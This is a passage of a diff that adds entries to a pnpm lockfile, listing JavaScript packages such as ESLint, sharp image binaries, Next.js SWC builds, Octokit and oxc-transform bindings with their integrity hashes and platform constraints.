+ resolution: {integrity: sha512-sRdU18mcKf7F+YgheI/zGf5alZatMUTKj/jNS6l744f9u3WFu4v7twcUI9vu4mknF4Y9aDlblIie0IM+5xxaqQ==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [win32]
+
+ '@eslint-community/eslint-utils@4.9.1':
+ resolution: {integrity: sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==}
+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}
+ peerDependencies:
+ eslint: ^6.0.0 || ^7.0.0 || >=8.0.0
+
+ '@eslint-community/regexpp@4.12.2':
+ resolution: {integrity: sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==}
+ engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0}
+
+ '@eslint/config-array@0.21.1':
+ resolution: {integrity: sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@eslint/config-helpers@0.4.2':
+ resolution: {integrity: sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@eslint/core@0.17.0':
+ resolution: {integrity: sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@eslint/eslintrc@3.3.3':
+ resolution: {integrity: sha512-Kr+LPIUVKz2qkx1HAMH8q1q6azbqBAsXJUxBl/ODDuVPX45Z9DfwB8tPjTi6nNZ8BuM3nbJxC5zCAg5elnBUTQ==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@eslint/js@9.39.2':
+ resolution: {integrity: sha512-q1mjIoW1VX4IvSocvM/vbTiveKC4k9eLrajNEuSsmjymSDEbpGddtpfOoN7YGAqBK3NG+uqo8ia4PDTt8buCYA==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@eslint/object-schema@2.1.7':
+ resolution: {integrity: sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@eslint/plugin-kit@0.4.1':
+ resolution: {integrity: sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@fastify/busboy@2.1.1':
+ resolution: {integrity: sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==}
+ engines: {node: '>=14'}
+
+ '@floating-ui/core@1.7.3':
+ resolution: {integrity: sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w==}
+
+ '@floating-ui/dom@1.7.4':
+ resolution: {integrity: sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA==}
+
+ '@floating-ui/react-dom@2.1.6':
+ resolution: {integrity: sha512-4JX6rEatQEvlmgU80wZyq9RT96HZJa88q8hp0pBd+LrczeDI4o6uA2M+uvxngVHo4Ihr8uibXxH6+70zhAFrVw==}
+ peerDependencies:
+ react: '>=16.8.0'
+ react-dom: '>=16.8.0'
+
+ '@floating-ui/utils@0.2.10':
+ resolution: {integrity: sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==}
+
+ '@humanfs/core@0.19.1':
+ resolution: {integrity: sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==}
+ engines: {node: '>=18.18.0'}
+
+ '@humanfs/node@0.16.7':
+ resolution: {integrity: sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==}
+ engines: {node: '>=18.18.0'}
+
+ '@humanwhocodes/module-importer@1.0.1':
+ resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==}
+ engines: {node: '>=12.22'}
+
+ '@humanwhocodes/retry@0.4.3':
+ resolution: {integrity: sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==}
+ engines: {node: '>=18.18'}
+
+ '@iarna/toml@2.2.5':
+ resolution: {integrity: sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==}
+
+ '@img/colour@1.0.0':
+ resolution: {integrity: sha512-A5P/LfWGFSl6nsckYtjw9da+19jB8hkJ6ACTGcDfEJ0aE+l2n2El7dsVM7UVHZQ9s2lmYMWlrS21YLy2IR1LUw==}
+ engines: {node: '>=18'}
+
+ '@img/sharp-darwin-arm64@0.34.5':
+ resolution: {integrity: sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@img/sharp-darwin-x64@0.34.5':
+ resolution: {integrity: sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [x64]
+ os: [darwin]
+
+ '@img/sharp-libvips-darwin-arm64@1.2.4':
+ resolution: {integrity: sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@img/sharp-libvips-darwin-x64@1.2.4':
+ resolution: {integrity: sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==}
+ cpu: [x64]
+ os: [darwin]
+
+ '@img/sharp-libvips-linux-arm64@1.2.4':
+ resolution: {integrity: sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==}
+ cpu: [arm64]
+ os: [linux]
+
+ '@img/sharp-libvips-linux-arm@1.2.4':
+ resolution: {integrity: sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==}
+ cpu: [arm]
+ os: [linux]
+
+ '@img/sharp-libvips-linux-ppc64@1.2.4':
+ resolution: {integrity: sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==}
+ cpu: [ppc64]
+ os: [linux]
+
+ '@img/sharp-libvips-linux-riscv64@1.2.4':
+ resolution: {integrity: sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@img/sharp-libvips-linux-s390x@1.2.4':
+ resolution: {integrity: sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==}
+ cpu: [s390x]
+ os: [linux]
+
+ '@img/sharp-libvips-linux-x64@1.2.4':
+ resolution: {integrity: sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==}
+ cpu: [x64]
+ os: [linux]
+
+ '@img/sharp-libvips-linuxmusl-arm64@1.2.4':
+ resolution: {integrity: sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==}
+ cpu: [arm64]
+ os: [linux]
+
+ '@img/sharp-libvips-linuxmusl-x64@1.2.4':
+ resolution: {integrity: sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==}
+ cpu: [x64]
+ os: [linux]
+
+ '@img/sharp-linux-arm64@0.34.5':
+ resolution: {integrity: sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [arm64]
+ os: [linux]
+
+ '@img/sharp-linux-arm@0.34.5':
+ resolution: {integrity: sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [arm]
+ os: [linux]
+
+ '@img/sharp-linux-ppc64@0.34.5':
+ resolution: {integrity: sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [ppc64]
+ os: [linux]
+
+ '@img/sharp-linux-riscv64@0.34.5':
+ resolution: {integrity: sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@img/sharp-linux-s390x@0.34.5':
+ resolution: {integrity: sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [s390x]
+ os: [linux]
+
+ '@img/sharp-linux-x64@0.34.5':
+ resolution: {integrity: sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [x64]
+ os: [linux]
+
+ '@img/sharp-linuxmusl-arm64@0.34.5':
+ resolution: {integrity: sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [arm64]
+ os: [linux]
+
+ '@img/sharp-linuxmusl-x64@0.34.5':
+ resolution: {integrity: sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [x64]
+ os: [linux]
+
+ '@img/sharp-wasm32@0.34.5':
+ resolution: {integrity: sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [wasm32]
+
+ '@img/sharp-win32-arm64@0.34.5':
+ resolution: {integrity: sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [arm64]
+ os: [win32]
+
+ '@img/sharp-win32-ia32@0.34.5':
+ resolution: {integrity: sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [ia32]
+ os: [win32]
+
+ '@img/sharp-win32-x64@0.34.5':
+ resolution: {integrity: sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+ cpu: [x64]
+ os: [win32]
+
+ '@isaacs/balanced-match@4.0.1':
+ resolution: {integrity: sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==}
+ engines: {node: 20 || >=22}
+
+ '@isaacs/brace-expansion@5.0.0':
+ resolution: {integrity: sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==}
+ engines: {node: 20 || >=22}
+
+ '@isaacs/fs-minipass@4.0.1':
+ resolution: {integrity: sha512-wgm9Ehl2jpeqP3zw/7mo3kRHFp5MEDhqAdwy1fTGkHAwnkGOVsgpvQhL8B5n1qlb01jV3n/bI0ZfZp5lWA1k4w==}
+ engines: {node: '>=18.0.0'}
+
+ '@jridgewell/gen-mapping@0.3.13':
+ resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==}
+
+ '@jridgewell/remapping@2.3.5':
+ resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==}
+
+ '@jridgewell/resolve-uri@3.1.2':
+ resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==}
+ engines: {node: '>=6.0.0'}
+
+ '@jridgewell/source-map@0.3.11':
+ resolution: {integrity: sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==}
+
+ '@jridgewell/sourcemap-codec@1.5.5':
+ resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==}
+
+ '@jridgewell/trace-mapping@0.3.31':
+ resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==}
+
+ '@jridgewell/trace-mapping@0.3.9':
+ resolution: {integrity: sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==}
+
+ '@js-joda/core@5.6.5':
+ resolution: {integrity: sha512-3zwefSMwHpu8iVUW8YYz227sIv6UFqO31p1Bf1ZH/Vom7CmNyUsXjDBlnNzcuhmOL1XfxZ3nvND42kR23XlbcQ==}
+
+ '@js-temporal/polyfill@0.5.1':
+ resolution: {integrity: sha512-hloP58zRVCRSpgDxmqCWJNlizAlUgJFqG2ypq79DCvyv9tHjRYMDOcPFjzfl/A1/YxDvRCZz8wvZvmapQnKwFQ==}
+ engines: {node: '>=12'}
+
+ '@mapbox/node-pre-gyp@2.0.3':
+ resolution: {integrity: sha512-uwPAhccfFJlsfCxMYTwOdVfOz3xqyj8xYL3zJj8f0pb30tLohnnFPhLuqp4/qoEz8sNxe4SESZedcBojRefIzg==}
+ engines: {node: '>=18'}
+ hasBin: true
+
+ '@napi-rs/wasm-runtime@0.2.12':
+ resolution: {integrity: sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ==}
+
+ '@napi-rs/wasm-runtime@1.1.1':
+ resolution: {integrity: sha512-p64ah1M1ld8xjWv3qbvFwHiFVWrq1yFvV4f7w+mzaqiR4IlSgkqhcRdHwsGgomwzBH51sRY4NEowLxnaBjcW/A==}
+
+ '@next/env@16.1.5':
+ resolution: {integrity: sha512-CRSCPJiSZoi4Pn69RYBDI9R7YK2g59vLexPQFXY0eyw+ILevIenCywzg+DqmlBik9zszEnw2HLFOUlLAcJbL7g==}
+
+ '@next/eslint-plugin-next@15.5.9':
+ resolution: {integrity: sha512-kUzXx0iFiXw27cQAViE1yKWnz/nF8JzRmwgMRTMh8qMY90crNsdXJRh2e+R0vBpFR3kk1yvAR7wev7+fCCb79Q==}
+
+ '@next/swc-darwin-arm64@16.1.5':
+ resolution: {integrity: sha512-eK7Wdm3Hjy/SCL7TevlH0C9chrpeOYWx2iR7guJDaz4zEQKWcS1IMVfMb9UKBFMg1XgzcPTYPIp1Vcpukkjg6Q==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@next/swc-darwin-x64@16.1.5':
+ resolution: {integrity: sha512-foQscSHD1dCuxBmGkbIr6ScAUF6pRoDZP6czajyvmXPAOFNnQUJu2Os1SGELODjKp/ULa4fulnBWoHV3XdPLfA==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [darwin]
+
+ '@next/swc-linux-arm64-gnu@16.1.5':
+ resolution: {integrity: sha512-qNIb42o3C02ccIeSeKjacF3HXotGsxh/FMk/rSRmCzOVMtoWH88odn2uZqF8RLsSUWHcAqTgYmPD3pZ03L9ZAA==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [linux]
+
+ '@next/swc-linux-arm64-musl@16.1.5':
+ resolution: {integrity: sha512-U+kBxGUY1xMAzDTXmuVMfhaWUZQAwzRaHJ/I6ihtR5SbTVUEaDRiEU9YMjy1obBWpdOBuk1bcm+tsmifYSygfw==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [linux]
+
+ '@next/swc-linux-x64-gnu@16.1.5':
+ resolution: {integrity: sha512-gq2UtoCpN7Ke/7tKaU7i/1L7eFLfhMbXjNghSv0MVGF1dmuoaPeEVDvkDuO/9LVa44h5gqpWeJ4mRRznjDv7LA==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [linux]
+
+ '@next/swc-linux-x64-musl@16.1.5':
+ resolution: {integrity: sha512-bQWSE729PbXT6mMklWLf8dotislPle2L70E9q6iwETYEOt092GDn0c+TTNj26AjmeceSsC4ndyGsK5nKqHYXjQ==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [linux]
+
+ '@next/swc-win32-arm64-msvc@16.1.5':
+ resolution: {integrity: sha512-LZli0anutkIllMtTAWZlDqdfvjWX/ch8AFK5WgkNTvaqwlouiD1oHM+WW8RXMiL0+vAkAJyAGEzPPjO+hnrSNQ==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [win32]
+
+ '@next/swc-win32-x64-msvc@16.1.5':
+ resolution: {integrity: sha512-7is37HJTNQGhjPpQbkKjKEboHYQnCgpVt/4rBrrln0D9nderNxZ8ZWs8w1fAtzUx7wEyYjQ+/13myFgFj6K2Ng==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [win32]
+
+ '@noble/hashes@2.0.1':
+ resolution: {integrity: sha512-XlOlEbQcE9fmuXxrVTXCTlG2nlRXa9Rj3rr5Ue/+tX+nmkgbX720YHh0VR3hBF9xDvwnb8D2shVGOwNx+ulArw==}
+ engines: {node: '>= 20.19.0'}
+
+ '@nodelib/fs.scandir@2.1.5':
+ resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==}
+ engines: {node: '>= 8'}
+
+ '@nodelib/fs.stat@2.0.5':
+ resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==}
+ engines: {node: '>= 8'}
+
+ '@nodelib/fs.walk@1.2.8':
+ resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==}
+ engines: {node: '>= 8'}
+
+ '@nolyfill/is-core-module@1.0.39':
+ resolution: {integrity: sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA==}
+ engines: {node: '>=12.4.0'}
+
+ '@octokit/endpoint@11.0.2':
+ resolution: {integrity: sha512-4zCpzP1fWc7QlqunZ5bSEjxc6yLAlRTnDwKtgXfcI/FxxGoqedDG8V2+xJ60bV2kODqcGB+nATdtap/XYq2NZQ==}
+ engines: {node: '>= 20'}
+
+ '@octokit/graphql@9.0.3':
+ resolution: {integrity: sha512-grAEuupr/C1rALFnXTv6ZQhFuL1D8G5y8CN04RgrO4FIPMrtm+mcZzFG7dcBm+nq+1ppNixu+Jd78aeJOYxlGA==}
+ engines: {node: '>= 20'}
+
+ '@octokit/openapi-types@27.0.0':
+ resolution: {integrity: sha512-whrdktVs1h6gtR+09+QsNk2+FO+49j6ga1c55YZudfEG+oKJVvJLQi3zkOm5JjiUXAagWK2tI2kTGKJ2Ys7MGA==}
+
+ '@octokit/request-error@7.1.0':
+ resolution: {integrity: sha512-KMQIfq5sOPpkQYajXHwnhjCC0slzCNScLHs9JafXc4RAJI+9f+jNDlBNaIMTvazOPLgb4BnlhGJOTbnN0wIjPw==}
+ engines: {node: '>= 20'}
+
+ '@octokit/request@10.0.7':
+ resolution: {integrity: sha512-v93h0i1yu4idj8qFPZwjehoJx4j3Ntn+JhXsdJrG9pYaX6j/XRz2RmasMUHtNgQD39nrv/VwTWSqK0RNXR8upA==}
+ engines: {node: '>= 20'}
+
+ '@octokit/types@16.0.0':
+ resolution: {integrity: sha512-sKq+9r1Mm4efXW1FCk7hFSeJo4QKreL/tTbR0rz/qx/r1Oa2VV83LTA/H/MuCOX7uCIJmQVRKBcbmWoySjAnSg==}
+
+ '@oxc-project/types@0.110.0':
+ resolution: {integrity: sha512-6Ct21OIlrEnFEJk5LT4e63pk3btsI6/TusD/GStLi7wYlGJNOl1GI9qvXAnRAxQU9zqA2Oz+UwhfTOU2rPZVow==}
+
+ '@oxc-transform/binding-android-arm-eabi@0.111.0':
+ resolution: {integrity: sha512-NdFLicvorfHYu0g2ftjVJaH7+Dz27AQUNJOq8t/ofRUoWmczOodgUCHx8C1M1htCN4ZmhS/FzfSy6yd/UngJGg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm]
+ os: [android]
+
+ '@oxc-transform/binding-android-arm64@0.111.0':
+ resolution: {integrity: sha512-J2v9ajarD2FYlhHtjbgZUFsS2Kvi27pPxDWLGCy7i8tO60xBoozX9/ktSgbiE/QsxKaUhfv4zVKppKWUo71PmQ==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [android]
+
+ '@oxc-transform/binding-darwin-arm64@0.111.0':
+ resolution: {integrity: sha512-2UYmExxpXzmiHTldhNlosWqG9Nc4US51K0GB9RLcGlTE23WO33vVo1NVAKwxPE+KYuhffwDnRYTovTMUjzwvZA==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@oxc-transform/binding-darwin-x64@0.111.0':
+ resolution: {integrity: sha512-c4YRwfLV8Pj/ToiTCbndZaHxM2BD4W3bltr/fjXZcGypEK+U2RZFDL7tIZYT/tyneAC9hCORZKDaKhLLNuzPtA==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [darwin]
+
+ '@oxc-transform/binding-freebsd-x64@0.111.0':
+ resolution: {integrity: sha512-prvf32IcEuLnLZbNVomFosBu0CaZpyj3YsZ6epbOgJy8iJjfLsXBb+PrkO/NBKzjuJoJa2+u7jFKRE0KT7gSOw==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [freebsd]
+
+ '@oxc-transform/binding-linux-arm-gnueabihf@0.111.0':
+ resolution: {integrity: sha512-+se3579Wp7VOk8TnTZCpT+obTAyzOw2b/UuoM0+51LtbzCSfjKxd4A+o7zRl7GyPrPZvx57KdbMOC9rWB1xNrw==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-arm-musleabihf@0.111.0':
+ resolution: {integrity: sha512-8faC99pStqaSDPK/vBgaagAHUeL0LcIzfeSjSiDTtvPGc3AwZIeqC1tx3CP15a6tWXjdgS/IUw4IjfD5HweBlg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-arm64-gnu@0.111.0':
+ resolution: {integrity: sha512-HtfQv8j796gzI5WR/RaP6IMwFpiL0vYeDrUA1hYhlPzTHKYan/B+NlhJkKOI1v24yAl/yEnFmb0pxIxLNqBqBA==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-arm64-musl@0.111.0':
+ resolution: {integrity: sha512-ARyfcMCIxVLDgLf6FQ8Oo1/TFySpnquV+vuSb4SFQZfYDqgMklzwv0NYXxWD0aB6enElyMDs6pQJBzusEKCkOg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-ppc64-gnu@0.111.0':
+ resolution: {integrity: sha512-PKpVRrSvBNK3tv9vwxn7Fay+QWZmprPGlEqJcseBJllQc5mFMD4Q/w44chu5iR9ZLsDeSHzmNWrgMLo4J0sP2A==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [ppc64]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-riscv64-gnu@0.111.0':
+ resolution: {integrity: sha512-9bUml6rMgk+8GF5rvNMweFspkzSiCjqpV6HduwiUyexqfGKrmjq9IZOxxvnzkE2RGdQzP507NNDoVNYIoGQYuA==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-riscv64-musl@0.111.0':
+ resolution: {integrity: sha512-tzGCohGxaeH6KRJjfYZd4mHCoGjCai6N+zZi1Oj+tSDMAAdyvs1dRzYb8PNUGnybCg3Te4M0jLPzWZaSmnKraQ==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-s390x-gnu@0.111.0':
+ resolution: {integrity: sha512-sRG1KIfZ0ML9ToEygm5aM/5GJeBA05uHlgW3M0Rx/DNWMJhuahLmqWuB02aWSmijndLfEKXLLXIWhvWupRG8lg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [s390x]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-x64-gnu@0.111.0':
+ resolution: {integrity: sha512-T0Kmvk+OdlUdABdXlDIf3MQReMzFfC75NEI9x8jxy5pKooACEFg0k0V8gyR3gq4DzbDCfucqFQDWNvSgIopAbQ==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [linux]
+
+ '@oxc-transform/binding-linux-x64-musl@0.111.0':
+ resolution: {integrity: sha512-EgoutsP3YfqzN8a9vpc9+XLr0bmBl0dA3uOMiP77+exATCPxJBkJErGmQkqk6RtTp5XqX6q6mB45qWQyKk6+pA==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [linux]
+
